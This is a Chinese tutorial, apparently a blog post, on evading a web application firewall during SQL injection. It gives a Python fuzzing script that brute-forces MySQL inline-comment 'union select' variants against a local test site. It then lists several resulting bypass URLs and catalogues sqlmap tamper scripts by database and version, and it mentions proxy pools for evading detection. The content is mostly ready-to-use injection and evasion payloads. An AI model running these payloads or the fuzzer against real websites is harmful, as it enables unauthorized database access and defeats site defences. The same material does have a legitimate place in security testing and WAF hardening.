Python编写脚本绕过WAF

环境搭建:

网上在i春秋找的源码进行搭建

Fuzz脚本思路

如果有某狗存在的话,会对特殊字符进行拦截

所以我们需要自己构造payload

Fuzz脚本编写

fuzz脚本样例

#! -*- encoding:utf-8 -*-
# python3

import requests

fuzz_zs = ['/*','*/','/*!','*','=','`','!','@','%','.','-','+','|','%00']
fuzz_sz = ['',' ']
fuzz_ch = ["%0a","%0b","%0c","%0d","%0e","%0f","%0g","%0h","%0i","%0j"]

fuzz = fuzz_zs+fuzz_sz+fuzz_ch
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0"}
url_start = "http://localhost:8980/fuzz/index.php?id=1"

for a in fuzz:
    for b in fuzz:
        for c in fuzz:
            for d in fuzz:
                    exp = "/*!union"+a+b+c+d+"select*/ 1,2,3"
                    url = url_start + exp
                    res = requests.get(url = url , headers = headers)
                    print("Now URL:"+url)
                    if "标题" in res.text:
                        print("Find Fuzz bypass:"+url)
                        with open("IIS_results.txt",'a',encoding='utf-8') as r:
                            r.write(url+"\n")
                                

放出部分规则给伸手党吧,希望你们能早日创造自己的脚本或者程序。

用对应的字符替换关键字即可绕过,(/*!union/*/**//*!/*!select*/,/*!select/*/**//*!/*!from*/, /*!user/*/**//*!/*!()*/)

http://localhost/fuzz/index.php?id=1/*!union/*/**//*!/*!select*/ 1,2,3
http://localhost/fuzz/index.php?id=1/*!/*!union*//*!/*!select*/ 1,2,3
http://localhost/fuzz/index.php?id=1/*!union/*/*?%0g*/select*/ 1,2,3
http://localhost/fuzz/index.php?id=1/*!union/*/*%0z~/**/select*/ 1,2,3
http://localhost/fuzz/index.php?id=1/*!union/*/*%0z!*/select*/ 1,2,3
http://localhost/fuzz/index.php?id=1/*!union/**//*!%0d/*!select*/ 1,2,3

'没能成功注入

随便找一个测试

意义回显,即表示绕过了某狗(这里我懒得状软件了),这里用了内联注释

内联注释用于mysql

/*!union/*/**//*!/*!select*/,/*!select/*/**//*!/*!from*/, /*!user/*/**//*!/*!()*/

/*!union/   将关键处圈起

/**/ 、/**/、/*!union/*/**//*!select/、/**/./**/、/**/()/**/

/*!/*!select*/  两个内联注释前缀+关键词+内联注释后缀

 

  • apostrophemask.py 用UTF-8全角字符替换单引号字符
  • apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
  • appendnullbyte.py 在payload末尾添加空字符编码
  • base64encode.py 对给定的payload全部字符使用Base64编码
  • between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
  • bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
  • chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
  • charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
  • charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
  • concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
  • equaltolike.py 用“LIKE”运算符替换全部等于号“=”
  • greatest.py 用“GREATEST”函数替换大于号“>”
  • halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
  • ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
  • lowercase.py 用小写值替换每个关键字字符
  • modsecurityversioned.py 用注释包围完整的查询
  • modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
  • multiplespaces.py 在SQL关键字周围添加多个空格
  • nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器
  • overlongutf8.py 转换给定的payload当中的所有字符
  • percentage.py 在每个字符之前添加一个百分号
  • randomcase.py 随机转换每个关键字字符的大小写
  • randomcomments.py 向SQL关键字中插入随机注释
  • securesphere.py 添加经过特殊构造的字符串
  • sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
  • space2comment.py 用“/**/”替换空格符
  • space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符
  • space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
  • space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
  • space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
  • space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
  • space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
  • space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符
  • space2plus.py 用加号“+”替换空格符
  • space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
  • unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
  • unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
  • varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
  • versionedkeywords.py 用MySQL注释包围每个非函数关键字
  • versionedmorekeywords.py 用MySQL注释包围每个关键字
  • xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF
  • sqlmap版本当前为1.2.7.20,共有57个tamper脚本,与1.0版本相比新增了19个脚本。

    序号脚本名称注释
    10x2char将每个编码后的字符转换为等价表达
    2apostrophemask单引号替换为Utf8字符
    3apostrophenullencode替换双引号为%00%27
    4appendnullbyte有效代码后添加%00
    5base64encode使用base64编码
    6between比较符替换为between
    7bluecoat空格替换为随机空白字符,等号替换为like
    8chardoubleencode双url编码
    9charencode将url编码
    10charunicodeencode使用unicode编码
    11charunicodeescape以指定的payload反向编码未编码的字符
    12commalesslimit改变limit语句的写法
    13commalessmid改变mid语句的写法
    14commentbeforeparentheses在括号前加内联注释
    15concat2concatws替换CONCAT为CONCAT_WS
    16equaltolike等号替换为like
    17escapequotes双引号替换为\\\\
    18greatest大于号替换为greatest
    19halfversionedmorekeywords在每个关键字前加注释
    20htmlencodehtml编码所有非字母和数字的字符
    21ifnull2casewhenisnull改变ifnull语句的写法
    22ifnull2ifisnull替换ifnull为if(isnull(A))
    23informationschemacomment标示符后添加注释
    24least替换大于号为least
    25lowercase全部替换为小写值
    26modsecurityversioned空格替换为查询版本的注释
    27modsecurityzeroversioned添加完整的查询版本的注释
    28multiplespaces添加多个空格
    29nonrecursivereplacement替换预定义的关键字
    30overlongutf8将所有字符转义为utf8
    31overlongutf8more以指定的payload转换所有字符
    32percentage每个字符前添加%
    33plus2concat将加号替换为concat函数
    34plus2fnconcat将加号替换为ODBC函数{fn CONCAT()}
    35randomcase字符大小写随机替换
    36randomcomments/**/分割关键字
    37securesphere添加某字符串
    38sp_password追加sp_password字符串
    39space2comment空格替换为/**/
    40space2dash空格替换为–加随机字符
    41space2hash空格替换为#加随机字符
    42space2morecomment空格替换为/**_**/
    43space2morehash空格替换为#加随机字符及换行符
    44space2mssqlblank空格替换为其他空符号
    45space2mssqlhash空格替换为%23%0A
    46space2mysqlblank空格替换为其他空白符号
    47space2mysqldash空格替换为–%0A
    48space2plus空格替换为加号
    49space2randomblank空格替换为备选字符集中的随机字符
    50symboliclogicalAND和OR替换为&&和||
    51unionalltounionunion all select替换为union select
    52unmagicquotes宽字符绕过GPC
    53uppercase全部替换为大写值
    54varnish添加HTTP头
    55versionedkeywords用注释封装每个非函数的关键字
    56versionedmorekeywords使用注释绕过
    57xforwardedfor添加伪造的HTTP头

    Part 3

    下面以数据库为区分,给出每种数据库可供选择的tamper。若同一脚本适用不同数据库,则在每个数据库中都指出。

    【MySQL】

    版本可用tamper编号脚本名称
    4/5.0/5.510x2char
    6between
    9charencode
    16concat2concatws
    18greatest
    24least
    25lowercase
    35randomcase
    39space2comment
    49space2randomblank
    53uppercase
    5.17bluecoat
    46space2mysqlblank
    5.0/5.512commalesslimit
    13commalessmid
    21ifnull2casewhenisnull
    22ifnull2ifisnull
    42space2morecomment
    5.015concat2concatws
    26modsecurityversioned
    27modsecurityzeroversioned
    4.0/5.041space2hash
    5.1.5610charunicodeencode
    5.1.56/5.5.1132percentage
    56versionedmorekeywords
    4.0.18/5.0.2219halfversionedmorekeywords
    4.0.18/5.1.56/5.5.1155versionedkeywords
    5.1.4143space2morehash
    未指定版本14commentbeforeparentheses
    40space2dash
    45space2mssqlhash
    47space2mysqldash

    【SQLServer】

    版本可用tamper编号脚本名称
    2005/200010charunicodeencode
    32percentage
    44space2mssqlblank
    20056between
    9charencode
    16equaltolike
    25lowercase
    35randomcase
    39space2comment
    49space2randomblank
    53uppercase
    2002+33plus2concat
    2008+34plus2fnconcat
    未指定14commentbeforeparentheses

     【Access】

    版本可用tamper编号脚本名称
    未指定4appendnullbyte

     【Oracle】

    版本可用tamper编号脚本名称
    10g6between
    9charencode
    14commentbeforeparentheses
    18greatest
    24least
    25lowercase
    35randomcase
    39space2comment
    49space2randomblank
    53uppercase

     【PostgreSQL】

    版本可用tamper编号脚本名称
    8.3/8.4/9.06between
    9charencode
    18greatest
    24least
    25lowercase
    39space2comment
    49space2randomblank
    53uppercase
    9.032percentage
    9.0.310charunicodeencode
    未指定14commentbeforeparentheses
    35randomcase

     【MSSQL】

    版本可用tamper编号脚本名称
    未指定38sp_password

     【SQLite】

    版本可用tamper编号脚本名称
    未指定40space2dash

     【未知适用范围】

    若以上脚本未解决问题,可尝试使用一下脚本。

    版本可用tamper编号脚本名称
     2apostrophemask
    3apostrophenullencode
    5base64encode
    8chardoubleencode
    11charunicodeescape
    17escapequotes
    20htmlencode
    23informationschemacomment
    28multiplespaces
    29nonrecursivereplacement
    30overlongutf8
    31overlongutf8more
    36randomcomments
    37securesphere
    48space2plus
    50symboliclogical
    51unionalltounion
    52unmagicquotes
    54varnish
    57xforwardedfor

抓包分析

使用burp代理抓包sqlmap

使用代理池

Python2 proxy.exe

 

 

 

 

参考:http://www.lz1y.cn/archives/652.html

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值